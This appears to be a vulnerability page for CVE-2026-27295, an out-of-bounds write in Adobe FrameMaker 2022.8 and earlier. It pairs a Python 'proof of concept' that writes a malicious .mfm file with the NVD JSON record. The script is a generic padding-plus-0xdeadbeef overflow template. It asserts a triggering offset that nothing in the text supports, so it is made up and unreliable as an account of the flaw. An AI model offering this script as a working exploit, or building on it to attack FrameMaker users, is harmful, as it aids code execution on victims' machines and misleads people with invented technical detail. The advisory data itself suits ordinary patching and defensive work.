CVE-2026-27295

# This is a conceptual PoC for CVE-2026-27295 # It demonstrates the structure of a malicious file trigger import struct def generate_malicious_file(filename): # Header (simulated) header = b'\x00' * 0x100 # Malicious payload designed to trigger out-of-bounds write # Offset 0x100 triggers the vulnerability payload = b'A' * 0x50 # Padding # Overwrite return address or critical pointer (simulated address) # In a real scenario, this would be a specific address pointing to shellcode overwrite_address = struct.pack('<I', 0xdeadbeef) with open(filename, 'wb') as f: f.write(header + payload + overwrite_address) print("[+] Generating malicious_frame.mfm...") generate_malicious_file('malicious_frame.mfm') print("[+] File created. Opening this in vulnerable Framemaker may trigger the vulnerability.")

{"cve": {"id": "CVE-2026-27295", "sourceIdentifier": "[email protected]", "published": "2026-04-14T23:16:26.460", "lastModified": "2026-04-15T18:14:25.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Framemaker versions 2022.8 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:*", "versionEndExcluding": "2022.9", "matchCriteriaId": "6943B816-3A7D-47BF-9E01-DF86C9332C19"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/framemaker/apsb26-36.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}